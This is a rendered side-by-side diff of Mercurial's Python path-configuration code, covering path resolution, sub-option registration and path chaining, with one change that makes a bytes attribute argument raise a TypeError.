573 raise error.Abort(msg)
575 return pull_paths[0]
574 return pull_paths[0]
576
575
577
576
578 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
577 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 """return a unique `(url, branch)` or abort if multiple are found
578 """return a unique `(url, branch)` or abort if multiple are found
580
579
581 See `get_unique_pull_path_obj` for details.
580 See `get_unique_pull_path_obj` for details.
582 """
581 """
583 path = get_unique_pull_path_obj(action, ui, source=source)
582 path = get_unique_pull_path_obj(action, ui, source=source)
584 return parseurl(path.rawloc, default_branches)
583 return parseurl(path.rawloc, default_branches)
585
584
586
585
587 def get_clone_path_obj(ui, source):
586 def get_clone_path_obj(ui, source):
588 """return the `(origsource, url, branch)` selected as clone source"""
587 """return the `(origsource, url, branch)` selected as clone source"""
589 if source == b'':
588 if source == b'':
590 return None
589 return None
591 return get_unique_pull_path_obj(b'clone', ui, source=source)
590 return get_unique_pull_path_obj(b'clone', ui, source=source)
592
591
593
592
594 def get_clone_path(ui, source, default_branches=None):
593 def get_clone_path(ui, source, default_branches=None):
595 """return the `(origsource, url, branch)` selected as clone source"""
594 """return the `(origsource, url, branch)` selected as clone source"""
596 path = get_clone_path_obj(ui, source)
595 path = get_clone_path_obj(ui, source)
597 if path is None:
596 if path is None:
598 return (b'', b'', (None, default_branches))
597 return (b'', b'', (None, default_branches))
599 if default_branches is None:
598 if default_branches is None:
600 default_branches = []
599 default_branches = []
601 branches = (path.branch, default_branches)
600 branches = (path.branch, default_branches)
602 return path.rawloc, path.loc, branches
601 return path.rawloc, path.loc, branches
603
602
604
603
605 def parseurl(path, branches=None):
604 def parseurl(path, branches=None):
606 '''parse url#branch, returning (url, (branch, branches))'''
605 '''parse url#branch, returning (url, (branch, branches))'''
607 u = url(path)
606 u = url(path)
608 branch = None
607 branch = None
609 if u.fragment:
608 if u.fragment:
610 branch = u.fragment
609 branch = u.fragment
611 u.fragment = None
610 u.fragment = None
612 return bytes(u), (branch, branches or [])
611 return bytes(u), (branch, branches or [])
613
612
614
613
615 class paths(dict):
614 class paths(dict):
616 """Represents a collection of paths and their configs.
615 """Represents a collection of paths and their configs.
617
616
618 Data is initially derived from ui instances and the config files they have
617 Data is initially derived from ui instances and the config files they have
619 loaded.
618 loaded.
620 """
619 """
621
620
622 def __init__(self, ui):
621 def __init__(self, ui):
623 dict.__init__(self)
622 dict.__init__(self)
624
623
625 home_path = os.path.expanduser(b'~')
624 home_path = os.path.expanduser(b'~')
626
625
627 for name, value in ui.configitems(b'paths', ignoresub=True):
626 for name, value in ui.configitems(b'paths', ignoresub=True):
628 # No location is the same as not existing.
627 # No location is the same as not existing.
629 if not value:
628 if not value:
630 continue
629 continue
631 _value, sub_opts = ui.configsuboptions(b'paths', name)
630 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 s = ui.configsource(b'paths', name)
631 s = ui.configsource(b'paths', name)
633 root_key = (name, value, s)
632 root_key = (name, value, s)
634 root = ui._path_to_root.get(root_key, home_path)
633 root = ui._path_to_root.get(root_key, home_path)
635
634
636 multi_url = sub_opts.get(b'multi-urls')
635 multi_url = sub_opts.get(b'multi-urls')
637 if multi_url is not None and stringutil.parsebool(multi_url):
636 if multi_url is not None and stringutil.parsebool(multi_url):
638 base_locs = stringutil.parselist(value)
637 base_locs = stringutil.parselist(value)
639 else:
638 else:
640 base_locs = [value]
639 base_locs = [value]
641
640
642 paths = []
641 paths = []
643 for loc in base_locs:
642 for loc in base_locs:
644 loc = os.path.expandvars(loc)
643 loc = os.path.expandvars(loc)
645 loc = os.path.expanduser(loc)
644 loc = os.path.expanduser(loc)
646 if not hasscheme(loc) and not os.path.isabs(loc):
645 if not hasscheme(loc) and not os.path.isabs(loc):
647 loc = os.path.normpath(os.path.join(root, loc))
646 loc = os.path.normpath(os.path.join(root, loc))
648 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
647 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 paths.append(p)
648 paths.append(p)
650 self[name] = paths
649 self[name] = paths
651
650
652 for name, old_paths in sorted(self.items()):
651 for name, old_paths in sorted(self.items()):
653 new_paths = []
652 new_paths = []
654 for p in old_paths:
653 for p in old_paths:
655 new_paths.extend(_chain_path(p, ui, self))
654 new_paths.extend(_chain_path(p, ui, self))
656 self[name] = new_paths
655 self[name] = new_paths
657
656
658
657
659 _pathsuboptions = {}
658 _pathsuboptions = {}
660 # a dictionnary of methods that can be used to format a sub-option value
659 # a dictionnary of methods that can be used to format a sub-option value
661 path_suboptions_display = {}
660 path_suboptions_display = {}
662
661
663
662
664 def pathsuboption(option, attr, display=pycompat.bytestr):
663 def pathsuboption(option, attr, display=pycompat.bytestr):
665 """Decorator used to declare a path sub-option.
664 """Decorator used to declare a path sub-option.
666
665
667 Arguments are the sub-option name and the attribute it should set on
666 Arguments are the sub-option name and the attribute it should set on
668 ``path`` instances.
667 ``path`` instances.
669
668
670 The decorated function will receive as arguments a ``ui`` instance,
669 The decorated function will receive as arguments a ``ui`` instance,
671 ``path`` instance, and the string value of this option from the config.
670 ``path`` instance, and the string value of this option from the config.
672 The function should return the value that will be set on the ``path``
671 The function should return the value that will be set on the ``path``
673 instance.
672 instance.
674
673
675 The optional `display` argument is a function that can be used to format
674 The optional `display` argument is a function that can be used to format
676 the value when displayed to the user (like in `hg paths` for example).
675 the value when displayed to the user (like in `hg paths` for example).
677
676
678 This decorator can be used to perform additional verification of
677 This decorator can be used to perform additional verification of
679 sub-options and to change the type of sub-options.
678 sub-options and to change the type of sub-options.
680 """
679 """
681 if isinstance(attr, bytes):
680 if isinstance(attr, bytes):
682 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
681 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
683 util.nouideprecwarn(msg, b"6.6", stacklevel=2)
682 raise TypeError(msg)
684 attr = attr.decode('ascii')
685
683
686 def register(func):
684 def register(func):
687 _pathsuboptions[option] = (attr, func)
685 _pathsuboptions[option] = (attr, func)
688 path_suboptions_display[option] = display
686 path_suboptions_display[option] = display
689 return func
687 return func
690
688
691 return register
689 return register
692
690
693
691
694 def display_bool(value):
692 def display_bool(value):
695 """display a boolean suboption back to the user"""
693 """display a boolean suboption back to the user"""
696 return b'yes' if value else b'no'
694 return b'yes' if value else b'no'
697
695
698
696
699 @pathsuboption(b'pushurl', '_pushloc')
697 @pathsuboption(b'pushurl', '_pushloc')
700 def pushurlpathoption(ui, path, value):
698 def pushurlpathoption(ui, path, value):
701 u = url(value)
699 u = url(value)
702 # Actually require a URL.
700 # Actually require a URL.
703 if not u.scheme:
701 if not u.scheme:
704 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
702 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
705 msg %= (path.name, value)
703 msg %= (path.name, value)
706 ui.warn(msg)
704 ui.warn(msg)
707 return None
705 return None
708
706
709 # Don't support the #foo syntax in the push URL to declare branch to
707 # Don't support the #foo syntax in the push URL to declare branch to
710 # push.
708 # push.
711 if u.fragment:
709 if u.fragment:
712 ui.warn(
710 ui.warn(
713 _(
711 _(
714 b'("#fragment" in paths.%s:pushurl not supported; '
712 b'("#fragment" in paths.%s:pushurl not supported; '
715 b'ignoring)\n'
713 b'ignoring)\n'
716 )
714 )
717 % path.name
715 % path.name
718 )
716 )
719 u.fragment = None
717 u.fragment = None
720
718
721 return bytes(u)
719 return bytes(u)
722
720
723
721
724 @pathsuboption(b'pushrev', 'pushrev')
722 @pathsuboption(b'pushrev', 'pushrev')
725 def pushrevpathoption(ui, path, value):
723 def pushrevpathoption(ui, path, value):
726 return value
724 return value
727
725
728
726
729 SUPPORTED_BOOKMARKS_MODES = {
727 SUPPORTED_BOOKMARKS_MODES = {
730 b'default',
728 b'default',
731 b'mirror',
729 b'mirror',
732 b'ignore',
730 b'ignore',
733 }
731 }
734
732
735
733
736 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
734 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
737 def bookmarks_mode_option(ui, path, value):
735 def bookmarks_mode_option(ui, path, value):
738 if value not in SUPPORTED_BOOKMARKS_MODES:
736 if value not in SUPPORTED_BOOKMARKS_MODES:
739 path_name = path.name
737 path_name = path.name
740 if path_name is None:
738 if path_name is None:
741 # this is an "anonymous" path, config comes from the global one
739 # this is an "anonymous" path, config comes from the global one
742 path_name = b'*'
740 path_name = b'*'
743 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
741 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
744 msg %= (path_name, value)
742 msg %= (path_name, value)
745 ui.warn(msg)
743 ui.warn(msg)
746 if value == b'default':
744 if value == b'default':
747 value = None
745 value = None
748 return value
746 return value
749
747
750
748
751 DELTA_REUSE_POLICIES = {
749 DELTA_REUSE_POLICIES = {
752 b'default': None,
750 b'default': None,
753 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
751 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
754 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
752 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
755 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
753 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
756 }
754 }
757 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
755 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
758
756
759
757
760 @pathsuboption(
758 @pathsuboption(
761 b'pulled-delta-reuse-policy',
759 b'pulled-delta-reuse-policy',
762 'delta_reuse_policy',
760 'delta_reuse_policy',
763 display=DELTA_REUSE_POLICIES_NAME.get,
761 display=DELTA_REUSE_POLICIES_NAME.get,
764 )
762 )
765 def delta_reuse_policy(ui, path, value):
763 def delta_reuse_policy(ui, path, value):
766 if value not in DELTA_REUSE_POLICIES:
764 if value not in DELTA_REUSE_POLICIES:
767 path_name = path.name
765 path_name = path.name
768 if path_name is None:
766 if path_name is None:
769 # this is an "anonymous" path, config comes from the global one
767 # this is an "anonymous" path, config comes from the global one
770 path_name = b'*'
768 path_name = b'*'
771 msg = _(
769 msg = _(
772 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
770 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
773 )
771 )
774 msg %= (path_name, value)
772 msg %= (path_name, value)
775 ui.warn(msg)
773 ui.warn(msg)
776 return DELTA_REUSE_POLICIES.get(value)
774 return DELTA_REUSE_POLICIES.get(value)
777
775
778
776
779 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
777 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
780 def multiurls_pathoption(ui, path, value):
778 def multiurls_pathoption(ui, path, value):
781 res = stringutil.parsebool(value)
779 res = stringutil.parsebool(value)
782 if res is None:
780 if res is None:
783 ui.warn(
781 ui.warn(
784 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
782 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
785 )
783 )
786 res = False
784 res = False
787 return res
785 return res
788
786
789
787
790 def _chain_path(base_path, ui, paths):
788 def _chain_path(base_path, ui, paths):
791 """return the result of "path://" logic applied on a given path"""
789 """return the result of "path://" logic applied on a given path"""
792 new_paths = []
790 new_paths = []
793 if base_path.url.scheme != b'path':
791 if base_path.url.scheme != b'path':
794 new_paths.append(base_path)
792 new_paths.append(base_path)
795 else:
793 else:
796 assert base_path.url.path is None
794 assert base_path.url.path is None
797 sub_paths = paths.get(base_path.url.host)
795 sub_paths = paths.get(base_path.url.host)
798 if sub_paths is None:
796 if sub_paths is None:
799 m = _(b'cannot use `%s`, "%s" is not a known path')
797 m = _(b'cannot use `%s`, "%s" is not a known path')
800 m %= (base_path.rawloc, base_path.url.host)
798 m %= (base_path.rawloc, base_path.url.host)
801 raise error.Abort(m)
799 raise error.Abort(m)
802 for subpath in sub_paths:
800 for subpath in sub_paths:
803 path = base_path.copy()
801 path = base_path.copy()
804 if subpath.raw_url.scheme == b'path':
802 if subpath.raw_url.scheme == b'path':
805 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
803 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
806 m %= (path.rawloc, path.url.host)
804 m %= (path.rawloc, path.url.host)
807 raise error.Abort(m)
805 raise error.Abort(m)
808 path.url = subpath.url
806 path.url = subpath.url
809 path.rawloc = subpath.rawloc
807 path.rawloc = subpath.rawloc
810 path.loc = subpath.loc
808 path.loc = subpath.loc
811 if path.branch is None:
809 if path.branch is None:
812 path.branch = subpath.branch
810 path.branch = subpath.branch
813 else:
811 else:
814 base = path.rawloc.rsplit(b'#', 1)[0]
812 base = path.rawloc.rsplit(b'#', 1)[0]
815 path.rawloc = b'%s#%s' % (base, path.branch)
813 path.rawloc = b'%s#%s' % (base, path.branch)
816 suboptions = subpath._all_sub_opts.copy()
814 suboptions = subpath._all_sub_opts.copy()
817 suboptions.update(path._own_sub_opts)
815 suboptions.update(path._own_sub_opts)
818 path._apply_suboptions(ui, suboptions)
816 path._apply_suboptions(ui, suboptions)
819 new_paths.append(path)
817 new_paths.append(path)
820 return new_paths
818 return new_paths
821
819
822
820
823 class path:
821 class path:
824 """Represents an individual path and its configuration."""
822 """Represents an individual path and its configuration."""
825
823
826 def __init__(
824 def __init__(
827 self,
825 self,
828 ui=None,
826 ui=None,
829 name=None,
827 name=None,
830 rawloc=None,
828 rawloc=None,
831 suboptions=None,
829 suboptions=None,
832 validate_path=True,
830 validate_path=True,
833 ):
831 ):
834 """Construct a path from its config options.
832 """Construct a path from its config options.
835
833
836 ``ui`` is the ``ui`` instance the path is coming from.
834 ``ui`` is the ``ui`` instance the path is coming from.
837 ``name`` is the symbolic name of the path.
835 ``name`` is the symbolic name of the path.
838 ``rawloc`` is the raw location, as defined in the config.
836 ``rawloc`` is the raw location, as defined in the config.
839 ``_pushloc`` is the raw locations pushes should be made to.
837 ``_pushloc`` is the raw locations pushes should be made to.
840 (see the `get_push_variant` method)
838 (see the `get_push_variant` method)
841
839
842 If ``name`` is not defined, we require that the location be a) a local
840 If ``name`` is not defined, we require that the location be a) a local
843 filesystem path with a .hg directory or b) a URL. If not,
841 filesystem path with a .hg directory or b) a URL. If not,
844 ``ValueError`` is raised.
842 ``ValueError`` is raised.
845 """
843 """
846 if ui is None:
844 if ui is None:
847 # used in copy
845 # used in copy
848 assert name is None
846 assert name is None
849 assert rawloc is None
847 assert rawloc is None
850 assert suboptions is None
848 assert suboptions is None
851 return
849 return
852
850
853 if not rawloc:
851 if not rawloc:
854 raise ValueError(b'rawloc must be defined')
852 raise ValueError(b'rawloc must be defined')
855
853
856 self.name = name
854 self.name = name
857
855
858 # set by path variant to point to their "non-push" version
856 # set by path variant to point to their "non-push" version
859 self.main_path = None
857 self.main_path = None
860 self._setup_url(rawloc)
858 self._setup_url(rawloc)
861
859
862 if validate_path:
860 if validate_path:
863 self._validate_path()
861 self._validate_path()
864
862
865 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
863 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
866 self._own_sub_opts = {}
864 self._own_sub_opts = {}
867 if suboptions is not None:
865 if suboptions is not None:
868 self._own_sub_opts = suboptions.copy()
866 self._own_sub_opts = suboptions.copy()
869 sub_opts.update(suboptions)
867 sub_opts.update(suboptions)
870 self._all_sub_opts = sub_opts.copy()
868 self._all_sub_opts = sub_opts.copy()
871
869
872 self._apply_suboptions(ui, sub_opts)
870 self._apply_suboptions(ui, sub_opts)
873
871
874 def _setup_url(self, rawloc):
872 def _setup_url(self, rawloc):
875 # Locations may define branches via syntax <base>#<branch>.
873 # Locations may define branches via syntax <base>#<branch>.
876 u = url(rawloc)
874 u = url(rawloc)
877 branch = None
875 branch = None
878 if u.fragment:
876 if u.fragment:
879 branch = u.fragment
877 branch = u.fragment
880 u.fragment = None
878 u.fragment = None
881
879
882 self.url = u
880 self.url = u
883 # the url from the config/command line before dealing with `path://`
881 # the url from the config/command line before dealing with `path://`
884 self.raw_url = u.copy()
882 self.raw_url = u.copy()
885 self.branch = branch
883 self.branch = branch
886
884
887 self.rawloc = rawloc
885 self.rawloc = rawloc
888 self.loc = b'%s' % u
886 self.loc = b'%s' % u
889
887
890 def copy(self, new_raw_location=None):
888 def copy(self, new_raw_location=None):
891 """make a copy of this path object
889 """make a copy of this path object
892
890
893 When `new_raw_location` is set, the new path will point to it.
891 When `new_raw_location` is set, the new path will point to it.
894 This is used by the scheme extension so expand the scheme.
892 This is used by the scheme extension so expand the scheme.
895 """
893 """
896 new = self.__class__()
894 new = self.__class__()
897 for k, v in self.__dict__.items():
895 for k, v in self.__dict__.items():
898 new_copy = getattr(v, 'copy', None)
896 new_copy = getattr(v, 'copy', None)
899 if new_copy is not None:
897 if new_copy is not None:
900 v = new_copy()
898 v = new_copy()
901 new.__dict__[k] = v
899 new.__dict__[k] = v
902 if new_raw_location is not None:
900 if new_raw_location is not None:
903 new._setup_url(new_raw_location)
901 new._setup_url(new_raw_location)
904 return new
902 return new
905
903
906 @property
904 @property
907 def is_push_variant(self):
905 def is_push_variant(self):
908 """is this a path variant to be used for pushing"""
906 """is this a path variant to be used for pushing"""
909 return self.main_path is not None
907 return self.main_path is not None
910
908
911 def get_push_variant(self):
909 def get_push_variant(self):
912 """get a "copy" of the path, but suitable for pushing
910 """get a "copy" of the path, but suitable for pushing
913
911
914 This means using the value of the `pushurl` option (if any) as the url.
912 This means using the value of the `pushurl` option (if any) as the url.
915
913
916 The original path is available in the `main_path` attribute.
914 The original path is available in the `main_path` attribute.
917 """
915 """
918 if self.main_path:
916 if self.main_path:
919 return self
917 return self
920 new = self.copy()
918 new = self.copy()
921 new.main_path = self
919 new.main_path = self
922 if self._pushloc:
920 if self._pushloc:
923 new._setup_url(self._pushloc)
921 new._setup_url(self._pushloc)
924 return new
922 return new
925
923
926 def _validate_path(self):
924 def _validate_path(self):
927 # When given a raw location but not a symbolic name, validate the
925 # When given a raw location but not a symbolic name, validate the
928 # location is valid.
926 # location is valid.
929 if (
927 if (
930 not self.name
928 not self.name
931 and not self.url.scheme
929 and not self.url.scheme
932 and not self._isvalidlocalpath(self.loc)
930 and not self._isvalidlocalpath(self.loc)
933 ):
931 ):
934 raise ValueError(
932 raise ValueError(
935 b'location is not a URL or path to a local '
933 b'location is not a URL or path to a local '
936 b'repo: %s' % self.rawloc
934 b'repo: %s' % self.rawloc
937 )
935 )
938
936
939 def _apply_suboptions(self, ui, sub_options):
937 def _apply_suboptions(self, ui, sub_options):
940 # Now process the sub-options. If a sub-option is registered, its
938 # Now process the sub-options. If a sub-option is registered, its
941 # attribute will always be present. The value will be None if there
939 # attribute will always be present. The value will be None if there
942 # was no valid sub-option.
940 # was no valid sub-option.
943 for suboption, (attr, func) in _pathsuboptions.items():
941 for suboption, (attr, func) in _pathsuboptions.items():
944 if suboption not in sub_options:
942 if suboption not in sub_options:
945 setattr(self, attr, None)
943 setattr(self, attr, None)
946 continue
944 continue
947
945
948 value = func(ui, self, sub_options[suboption])
946 value = func(ui, self, sub_options[suboption])
949 setattr(self, attr, value)
947 setattr(self, attr, value)
950
948
951 def _isvalidlocalpath(self, path):
949 def _isvalidlocalpath(self, path):
952 """Returns True if the given path is a potentially valid repository.
950 """Returns True if the given path is a potentially valid repository.
953 This is its own function so that extensions can change the definition of
951 This is its own function so that extensions can change the definition of
954 'valid' in this case (like when pulling from a git repo into a hg
952 'valid' in this case (like when pulling from a git repo into a hg
955 one)."""
953 one)."""
956 try:
954 try:
957 return os.path.isdir(os.path.join(path, b'.hg'))
955 return os.path.isdir(os.path.join(path, b'.hg'))
958 # Python 2 may return TypeError. Python 3, ValueError.
956 # Python 2 may return TypeError. Python 3, ValueError.
959 except (TypeError, ValueError):
957 except (TypeError, ValueError):
960 return False
958 return False
961
959
962 @property
960 @property
963 def suboptions(self):
961 def suboptions(self):
964 """Return sub-options and their values for this path.
962 """Return sub-options and their values for this path.
965
963
966 This is intended to be used for presentation purposes.
964 This is intended to be used for presentation purposes.
967 """
965 """
968 d = {}
966 d = {}
969 for subopt, (attr, _func) in _pathsuboptions.items():
967 for subopt, (attr, _func) in _pathsuboptions.items():
970 value = getattr(self, attr)
968 value = getattr(self, attr)
971 if value is not None:
969 if value is not None:
972 d[subopt] = value
970 d[subopt] = value
973 return d
971 return d
General Comments 0
You need to be logged in to leave comments. Login now